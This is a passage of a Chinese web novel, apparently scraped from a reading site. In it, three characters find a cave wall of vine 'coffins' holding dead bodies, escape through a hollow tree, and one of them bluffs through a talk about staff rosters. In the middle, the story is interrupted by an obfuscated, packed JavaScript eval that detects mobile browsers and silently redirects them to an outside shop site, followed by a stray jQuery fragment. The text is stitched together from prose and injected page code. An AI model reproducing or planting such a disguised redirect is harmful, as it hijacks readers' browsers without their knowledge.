帷幕的后面是一个空旷的空间。
沈霁手里的手电筒的光芒直直地照射在付胜的脸上,竟显出几分诡谲。
付胜的眼神空洞而迷离,失去了往日的神采,脸上挂着一个僵硬的笑容,如同皮下生出一层枷锁控制住了他的表情。
“他的身子...”
蓦地,典寻云忘却了霉腐味的存在,目光紧紧地锁定在付胜的身体上。
听了典寻云的话,沈霁稍微将手电筒的角度下移,聚光点缓缓地从付胜的头部移动到他的身躯。
他的躯体上正缠绕着手臂粗的藤蔓。
而这些藤蔓,均来自于四面八方的洞墙。
在藤蔓的操纵下,付胜抬腿、迈步,双臂微摆。
一步,又一步。
他步履落落地向一个方向走去。
虽然他的动作协调有序,但却在藤蔓的牵引和控制下,展露出一种被囚禁的绝望与迷离。
尽管付胜先前有害人的想法,但当他如此狼狈地出现在许舟面前时,她仍不免心头一颤。
如果付胜没有那么做,就绝不会有这样的结局。
然而,在众目睽睽之下,当付胜愈发靠近一向崎岖的墙面时,他倏地看向三人,咧起的嘴角缓缓垂下,鬼魅的笑在呼吸之间化作了难言的悲。
紧接着,他的嘴巴动了动,微张的嘴里是黑暗一片。
然而一片叶子从他的嘴角探了出来,在这一刹那,他的嘴大张至o形,粗壮的树枝竞迅速从他的口中拔节而上,直冲洞穴凹凸不平的天花板。
藤蔓松了松,渐渐地解除了对付胜的缠绕,默默地缩回了它们原本的位置。
而付胜一个趔趄,坐到了地上,他的双腿如同失去了骨头一般肆意地弯曲。
而他的上半身靠向了墙上的一个凹槽之中,这个凹槽恰巧能容纳付胜的上半身,令他的身体卡在了其中。
“这个凹槽,就像是为他量身定制的棺材。”许舟轻声说道。
寥寥数语,却卷起飕飕凉意,袭向典寻云的后背。
典寻云缩了缩肩膀,说道:“希望我不要变成这个样子。”
“不会的。”
最后,付胜口中冒出的树枝伸出一节枝桠,挡在了他的身前,让他的上半身消失在众人的视野之中。
疯长的叶片铺在了他的腿上。
就像...合上了棺材板。
“这里,死过多少人啊...”典寻云发出内心深处的感慨。
听了她的话,许舟看向付胜最后所在位置的周围,眼底薄薄的悲凉浮现。
这面墙上,布满了如付胜的“棺材板”一样的枝桠,虽然高低不一,但它们无一不符合人上半身的高度。
“这不是付胜一个人的棺材,而是一面棺材墙。”沈霁沿用了许舟的比喻。
“不,这是三面的棺材墙。”许舟眼睛转了转,看向其他沈霁的手电筒没照到的地方。
除了三人来的方向,其他的几面墙上都是一样的枝桠“棺材”。
“怪不得,这里这么臭。”典寻云面色如土,声音微哑,“这片帷幕,居然能挡住这样的恶臭。”
臭味之蹿鼻尖,熏得她有些头晕眼花。
“这帷幕,并没有挡住恶臭,而是有特殊的功效,让恶臭变成了香味。”
事到如今,许舟无情地揭开了残酷的面纱。
已经走到这一步,就没必要保留过多无谓的幻想了。
“那里好像有微光?”许舟的头转向一个方向,眼中不由得多了几分打量,“关一下手电筒。”
几人的眼底在数秒之内便被一层黑暗笼罩。
而黑暗之中,果然有一个地方,闪烁着点点的微光,似乎通向另一个地方。
行动快于言语的许舟果断向光点走去,她的脚步声在针落可闻的洞穴中清脆入耳。
沈霁心领神会地抬腿跟上。
渐行渐远的脚步声进入典寻云的耳畔,她不再多加犹豫,紧紧地跟到了两人的身后。
在这片洞穴的空旷地带,路面较为平缓,三人哪怕在微光之中,亦能行走自如。
随着他们的靠近,光点在眼眸之中渐渐变大。
“哎呀。”许舟的额头撞到了石壁,感到轻微的疼痛。
许舟的动静让身后的两人立即停住了脚步。
“噼啪——”
身后传来沈霁按动手电筒开关的声音。
“噼啪——噼啪——”
痛觉瞬间被这种声音冲洗,许舟未语先笑:“你这个手电筒,不太靠谱。”
随即,许舟半蹲身子,伸手抚摸前方的墙面。
洞穴之中,又有一个洞口。
光便从其中向外蔓延。
凭借肌肉的感觉,这个洞口足以让一个人以爬的姿势前行。
大小,有点像粗糙的滑梯。
“这有个洞,要爬过去。”许舟清醒地说道,“要小心一点。”
说罢,许舟便俯下身子,率先进入这洞口之内。
“沙沙——沙沙——”
一时之间,耳畔只剩下三人匍匐前进的摩擦声和喘息声。
前方的坡度陡然变大,让许舟不得不更加聚精会神,每向前迈进,就必须小心翼翼地确保四肢至少有三个支点在泥土之中固定。
时光在缓慢的爬行之中被无限拉长,每一分每一秒都有如万年。
当耀眼的阳光没过许舟的眼眸,她钻出洞口,坐到地上大口大口地呼吸新鲜的空气。
“终于出来了。”典寻云落地以后,回眸望向来时的道路,瞬间哑然。
她惊讶地张了张嘴,但却没有发出声音。
“觉不觉得有点熟悉?”许舟顺着典寻云的目光看去,不免更为惊讶。
“我们居然是从一棵树里钻出来的!!!”一向语气鲜有起伏的沈霁也在此刻发出感慨。
“而且,我们还认识这棵树。”许舟抬眸,望向这棵参天大树。
这棵生长在夏季主题酒店后的大树,这棵许舟和沈霁埋盆栽时所见到的大树。
许舟和沈霁当时只见到大树的其中一面,殊不知,在这棵树的另一面,树皮之间赫然有一个巨大的洞口,其内空心,直通地下的洞穴。
想到这里,许舟抬了抬眼皮:“付胜的死法,和我们挖到那人差不多。”
许舟抖了抖身上的尘土,大步流星地向酒店正面走去——
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12964642|128991||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
员工通道的事情,还没有着落。
然而事情总不是一帆风顺。
那一次又一次出现在许舟面前的人又出现了。
先前,也许会觉得是巧合,但现在,这种想法已然被许舟摒弃到九霄云外。
“李梅梅。”许舟率先开口。
“你找到了吗?”
也许是看见许舟从一个鲜有人迹的地方踏步走来,李梅梅觉得许舟找到了那样“东西”,因此眸中闪动着微光,似是充满了希望。
然而不明情况的典寻云却正要从树的背后走出。
所幸,听见问话的沈霁反应及时,拉住了典寻云。
许舟微微转身,用余光瞥向大树,默契地猜到了情况。
虽然她不知道李梅梅说的东西到底是什么,但她面露遗憾地说道:“还没有...可能不在这里。”
“这样啊。”李梅梅失望地说道,“那可能不在夏季这里了。”
不在夏季这里?
许舟眉心微动,翻译出李梅梅的言外之意——要找的东西会出现在四季中的某一季。
但问题又来了,现在植物园正处夏季的模拟,要如何转变模拟的季节呢?
顺着李梅梅的话,她施以温柔一笑:“等其他季节时看看吧。”
“也对,这样就剩下春季和秋季了,二分之一的概率。”李梅梅自我慰藉道。
话语不多,却句句重点。
为什么这东西不可能在冬季呢?
“对了,在夏季待了一段时间,身体还能接受吧?”李梅梅向前一步,摸了摸许舟的后背。
“还行。”许舟模棱两可地回答道。
她已然猜到李梅梅意指何处——自己从不觉炎热到汗流浃背的身体变化。
那么,为什么自己在夏季会有这种变化呢?
“那就好。新的班表出了,我还没去看。”李梅梅提议道,“咱们现在去看看?”
“好。”
真是得来全不费功夫,许舟对班表与员工通道已然等候多时了。
跟在李梅梅的身后。两人一路无言。
许舟担心自己贸然开口会说错话,因此一直等着李梅梅主动出声,然而李梅梅本身却也是个极为内敛的人,若非正事绝不开口。
酒店正门边立起了一块许舟从未见过的小白板,最顶上用黑笔写了“姓名”与“排班”四个大字,其下便以这两个词组为列标,整整齐齐地写了两列字。
完了!!!
我叫什么名字??
许舟站在李梅梅身后,尴尬地扫视着这一列陌生的名字。
“对了,那个男人答应帮我们了没有?”李梅梅伸出一根手指,在名字上细细找寻,顺口问道。
许舟恍然猜到她说的男人正是沈霁。
既然自己所扮演的角色与李梅梅有共同的目的与秘密,而李梅梅却在分房间时主动让自己和沈霁住在隔壁,那就只有一个解释——
她们要拉沈霁入伙。
“答应了。”猜到是沈霁后,鬼使神差般,许舟想都不想就替沈霁应了下来。
“找到了。”许舟话音刚落,李梅梅就神采飞扬地说道,“这是你的排班。”